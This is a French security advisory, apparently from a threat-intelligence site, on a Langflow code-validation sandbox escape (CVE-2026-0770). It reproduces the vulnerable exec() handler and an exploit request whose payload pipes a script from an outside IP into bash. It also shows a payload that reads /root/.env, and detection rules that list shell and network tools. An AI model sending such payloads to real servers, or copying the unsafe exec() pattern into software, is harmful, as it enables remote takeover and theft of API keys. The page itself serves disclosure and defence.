Aller au contenu

CVE-2026-0770 : exécution de code à distance non authentifiée dans Langflow via l'échappement du bac à sable de validation de code

HERMES

SCORE DE MENACE HERMES & COMPROMISSION DU MOTEUR D'ORCHESTRATION D'IA

Cible : Langflow (Interface & Orchestrateur LangChain)
Confiance : 99%
98 / 100
CRITIQUE

Mesure la pertinence opérationnelle réelle, la militarisation de l'exploit et la posture de menace active.

Décomposition des dimensions
Exploitabilité 20 / 20
Activité de menace 19 / 20
Militarisation 20 / 20
Exposition 20 / 20
Prévalence 19 / 20
Impact 20 / 20
Maturité de l'exploit 20 / 20
Potentiel d'attaque en chaîne 20 / 20
⚖️ Divergence & Justification opérationnelle

Le CVSS v3.1 attribue à la CVE-2026-0770 la note de 9.8 (Critique) et le CVSS v4.0 évalue l'impact à 9.8. Le score de menace Hermes s'établit à 98 (CRITIQUE). La corrélation est directe : Langflow pilote les pipelines RAG (Retrieval-Augmented Generation) et se connecte directement aux coffres de connaissances et bases vectorielles (Chroma, Pinecone, Milvus). L'exécution de code à distance permet aux attaquants d'exfiltrer la propriété intellectuelle de l'entreprise et d'implanter des agents d'IA malveillants au cœur du système d'information.

🕸️ Graphe de connaissances connecté & Provenance

CVE-2026-0770: Unauthenticated Remote Code Execution in Langflow via Code Validation Sandbox EscapeVULNÉRABILITÉ

Nœuds connectés : 3
Relations sortantes actives
→ affectsCOMPOSANTLangflow AI Workflow Orchestrator
98% VERY_HIGH

Visual framework and multi-agent development environment for building, evaluating, and deploying conversational AI pipelines.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Confirmed security vulnerability in Langflow Visual AI Builder documented in Hermes dossier.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1059: Command and Scripting Interpreter
90% VERY_HIGH

Adversaries abuse command and script interpreters (Bash, Python, PowerShell) to execute arbitrary commands.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1059.”

Preuves vérifiées associées :
→ usesTECHNIQUE D'ATTAQUET1552: Unsecured Credentials
90% VERY_HIGH

Adversaries search compromise victims for unsecured credentials in files, environment variables, or memory.

🔍 Pourquoi cette relation ? (Preuves & Provenance)

“Attack execution telemetry aligns with MITRE ATT&CK technique T1552.”

Preuves vérifiées associées :

1. Contexte technique & matrice des logiciels affectés

Section intitulée « 1. Contexte technique & matrice des logiciels affectés »

Langflow permet aux ingénieurs et data scientists d’assembler des graphes visuels pour le traitement de requêtes, l’indexation vectorielle et le pilotage d’agents autonomes.

ParamètreSpécification TechniqueContexte de Menace
Identifiant CVECVE-2026-0770Référence internationale de suivi
Composant vulnérablelangflow (Service d’API Backend)Point de terminaison /api/v1/validate/code
Vecteur réseauHTTP/HTTPS (Port TCP 7860)Interface web et API Langflow exposées
Cause racineBac à sable d’exécution Python exec() perméable (CWE-94)Exécution de code à distance non authentifiée
Versions affectéesLangflow < 1.2.0Déploiements de production et de test
Versions corrigées1.2.0Version officielle avec exécution isolée
Impact d’exploitationAccès shell sur l’hôte/conteneur, vol de bases vectoriellesCompromission de la chaîne d’orchestration d’IA

2. Décomposition technique : échappement du bac à sable de validation

Section intitulée « 2. Décomposition technique : échappement du bac à sable de validation »

Pour vérifier la conformité du code d’un composant personnalisé avec l’API Langflow, le serveur reçoit le code Python et l’exécute directement pour inspecter les classes déclarées :

# Gestionnaire de validation vulnérable dans langflow/api/v1/validate.py
@router.post("/api/v1/validate/code")
async def validate_code(code_request: CodeRequest):
code_str = code_request.code
exec_globals = {"__builtins__": __builtins__} # FAILLE : Exposition intégrale des builtins !
exec_locals = {}
try:
# Exécute le code arbitraire directement dans le processus serveur
exec(code_str, exec_globals, exec_locals)
return {"valid": True, "imports": list(exec_locals.keys())}
except Exception as e:
return {"valid": False, "error": str(e)}

Comme __builtins__ est accessible sans restriction, un attaquant injecte des appels à __import__('os').system() :

POST /api/v1/validate/code HTTP/1.1
Host: langflow.corp.internal:7860
Content-Type: application/json
{
"code": "import os; os.system('curl http://198.51.100.44/shell.sh | bash')"
}
+----------------------------------------------------------------------------------------------------+
| GRAPHE D'EXÉCUTION DE L'ATTAQUE CVE-2026-0770 |
+----------------------------------------------------------------------------------------------------+
[Attaquant Distant]
│
│ [1] HTTP POST /api/v1/validate/code (Sans jeton d'authentification)
│ Charge : { "code": "import subprocess; subprocess.Popen(['cat', '/root/.env'])" }
▼
[Serveur Backend FastAPI Langflow (Port 7860)]
│
├───► 1. Traitement du Point de Terminaison :
│ - La route /api/v1/validate/code est dépourvue de dépendance d'authentification
│ - Extrait le code Python du corps de la requête JSON
│
├───► 2. Exécution Non Sécurisée au Sein du Processus :
│ - Transmet la chaîne de code à exec(code_str, exec_globals)
│ - Aucune isolation de conteneur ni bac à sable strict
│
▼
[Exécution dans le Processus Serveur (Runtime Python)]
│
└───► Création de processus système en arrière-plan :
- Exfiltration des clés d'API et identifiants LangChain
- Connexion directe aux bases vectorielles (Chroma, Pinecone, Weaviate)
- Téléchargement des documents sensibles indexés pour le RAG
+----------------------------------------------------------------------------------------------------+

3. Renseignement sur les menaces & exploitation dans la nature

Section intitulée « 3. Renseignement sur les menaces & exploitation dans la nature »
  • Exposition réseau : des milliers d’instances Langflow non sécurisées sont accessibles sur Internet sur le port 7860 à travers AWS, GCP et les hébergeurs cloud.
  • Vecteurs d’exploitation observés :
    • Balayage automatisé ciblant /api/v1/validate/code pour ouvrir des shells distants.
    • Lecture des variables d’environnement locales pour dérober les clés OpenAI, Anthropic, HuggingFace et les accès aux compartiments de stockage d’objets.
    • Pillage des index de documents d’entreprise enregistrés dans les bases vectorielles.

TactiqueID TechniqueNom de la TechniqueManifestation dans l’Attaque
Accès initialT1190Exploitation d’application publiqueRequête HTTP POST distante vers le point non authentifié /validate/code
ExécutionT1059.006Interpréteur de commandes et scripts : PythonInjection de code exécutée directement via exec()
Accès aux identifiantsT1552.001Identifiants dans les fichiersLecture des fichiers .env contenant les clés d’IA générative
CollecteT1005Données issues du système localExfiltration des documents d’entreprise indexés pour le RAG

alert http any any -> $LANGFLOW_SERVERS 7860 (
msg:"HERMES DEFENSE - Tentative de RCE non authentifiee Langflow (CVE-2026-0770)";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/api/v1/validate/code";
http.request_body; pcre:"/(\"code\"\s*:\s*\"|')\s*(import\s+(os|subprocess|sys|shutil)|__import__|eval|exec)/i";
classtype:web-application-attack;
sid:20260770;
rev:1;
reference:cve,2026-0770;
)
title: Exécution suspecte de commandes par le processus Langflow
id: 6a5b4c3d-2e1f-0a9b-8c7d-0770c026e02
status: high
description: Détecte l'ouverture d'un interpréteur shell ou d'utilitaires réseau issus du processus Python exécutant Langflow.
author: Hermes Codex Detection Engineering
date: 2026-09-11
logsource:
product: linux
category: process_creation
detection:
selection_parent:
CommandLine|contains: 'langflow'
selection_child:
Image|endswith:
- '/bin/sh'
- '/bin/bash'
- '/usr/bin/curl'
- '/usr/bin/wget'
- '/usr/bin/nc'
condition: selection_parent and selection_child
falsepositives:
- Outils de diagnostic exécutés manuellement par les équipes de développement.
level: critical
tags:
- attack.initial_access
- attack.t1190
- attack.execution
- attack.t1059.006

6. Réponse à incident & rétro-ingénierie (DFIR)

Section intitulée « 6. Réponse à incident & rétro-ingénierie (DFIR) »
  1. Contrôle des processus associés à Langflow :
    Fenêtre de terminal
    ps aux | grep langflow
    lsof -p $(pgrep -f langflow) -i
  2. Revue des journaux web Langflow :
    • Analyser les requêtes POST /api/v1/validate/code retournant des codes 200 OK.
  3. Audit du trafic vers les bases vectorielles :
    • Inspecter les connexions réseau sortantes vers les bases de données de vecteurs (Chroma 8000, Milvus 19530, Weaviate 8080).
{
"query": {
"bool": {
"must": [
{ "term": { "http.request.method": "POST" } },
{ "term": { "url.path": "/api/v1/validate/code" } },
{ "wildcard": { "http.request.body.content": "*subprocess*" } }
]
}
}
}

  1. Mettre à niveau Langflow immédiatement : installer la version 1.2.0 ou ultérieure qui isole l’analyse du code au sein de conteneurs de bac à sable dédiés.
  2. Activer l’authentification obligatoire : définir la variable LANGFLOW_AUTO_LOGIN=False et imposer des mots de passe robustes sur tous les accès.
  3. Protection du périmètre réseau : ne jamais exposer le port 7860 directement sur Internet ; isoler Langflow dans un réseau privé virtuel (VPN).
  4. Renouvellement des clés d’API : en cas de compromission, renouveler l’intégralité des clés des fournisseurs de modèles de langage et des bases de données vectorielles configurées dans Langflow.